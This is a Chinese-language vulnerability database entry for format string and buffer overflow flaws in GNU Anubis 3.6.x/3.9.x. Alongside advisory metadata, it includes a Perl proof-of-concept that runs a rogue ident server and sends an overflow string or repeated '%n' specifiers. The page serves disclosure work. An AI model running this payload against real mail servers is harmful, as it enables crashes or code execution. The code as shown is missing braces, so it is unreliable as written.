发布时间 :2004-11-23 00:00:00
修订时间 :2016-10-17 22:44:29

[原文]Multiple format string vulnerabilities in GNU Anubis 3.6.0 through 3.6.2, 3.9.92 and 3.9.93 allow remote attackers to execute arbitrary code via format string specifiers in strings passed to (1) the info function in log.c, (2) the anubis_error function in errs.c, or (3) the ssl_error function in ssl.c.

[CNNVD]GNU Anubis多个远程缓冲区溢出和格式化字符串漏洞(CNNVD-200411-096)

        GNU Anubis 3.6.0到3.6.2, 3.9.92和3.9.93版本存在多个格式化字符串漏洞。远程攻击者可以借助传递到(1)log.c的info函数,(2)errs.c的anubis_error函数,或者(3)ssl.c的ssl_error函数的字符串说明符执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:gnu:anubis:3.9.93GNU Anubis 3.9.93
cpe:/a:gnu:anubis:3.9.92GNU Anubis 3.9.92
cpe:/a:gnu:anubis:3.6.0GNU Anubis 3.6.0
cpe:/a:gnu:anubis:3.6.1GNU Anubis 3.6.1
cpe:/a:gnu:anubis:3.6.2GNU Anubis 3.6.2

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  MLIST  [bug-anubis] 20040228 Important security update
(UNKNOWN)  BUGTRAQ  20040304 GNU Anubis buffer overflows and format string bugs
(VENDOR_ADVISORY)  XF  anubis-format-string(15346)

- 漏洞信息

GNU Anubis多个远程缓冲区溢出和格式化字符串漏洞
危急 格式化字符串
2004-11-23 00:00:00 2005-10-20 00:00:00
        GNU Anubis 3.6.0到3.6.2, 3.9.92和3.9.93版本存在多个格式化字符串漏洞。远程攻击者可以借助传递到(1)log.c的info函数,(2)errs.c的anubis_error函数,或者(3)ssl.c的ssl_error函数的字符串说明符执行任意代码。

- 公告与补丁

        The vendor has released patches to address these issues:
        GNU Anubis 3.6.2
        GNU Anubis 3.9.93

- 漏洞信息 (23771)

GNU Anubis 3.6.x/3.9.x Multiple Format String (EDBID:23771)
linux remote
2004-03-01 Verified
0 Ulf Harnhammar
N/A [点击下载]

GNU Anubis has been reported prone to multiple buffer overflow and format string vulnerabilities. It has been conjectured that a remote attacker may potentially exploit these vulnerabilities to have arbitrary code executed in the context of the Anubis software. The buffer overflow vulnerabilities exist in the 'auth_ident' function in 'auth.c'. The format string vulnerabilities are reported to affect the 'info' function in 'log.c', the 'anubis_error' function in 'errs.c' and the 'ssl_error' function in 'ssl.c'.

These vulnerabilities have been reported to exist in GNU Anubis versions 3.6.0, 3.6.1, 3.6.2, 3.9.92, and 3.9.93. It is possible that other versions are affected as well.

These issues are undergiong further analysis, they will be divided into separate BIDs as analysis is completed.

#!/usr/bin/perl --

# anubis-crasher
# Ulf Harnhammar 2004
# I hereby place this program in the Public Domain.

use IO::Socket;

sub usage()
  die "usage: $0 type\n".
      "type is 'a' (buffer overflow) or 'b' (format string bug).\n";
} # sub usage

$port = 113;

usage() unless @ARGV == 1;
$type = shift;
usage() unless $type =~ m|^[ab]$|;

$send{'a'} = 'U' x 400;
$send{'b'} = '%n' x 28;
$sendstr = $send{$type};

$server = IO::Socket::INET->new(Proto => 'tcp',
                                LocalPort => $port,
                                Listen => SOMAXCONN,
                                Reuse => 1) or
          die "can't create server: $!";

while ($client = $server->accept())
  print "got a connection\n";

  $input = <$client>;
  $input =~ tr/\015\012//d;
  print "client said $input\n";

#  $wait = <STDIN>;
#  $wait = 'be quiet, perl -wc';

  $output = "a: USERID: a:$sendstr";
  print $client "$output\n";
  print "I said $output\n";

  close $client;
  print "disconnected\n";
} # while client=server->accept


- 漏洞信息

GNU Anubis Multiple Format String
Local / Remote, Context Dependent Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-02-28 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete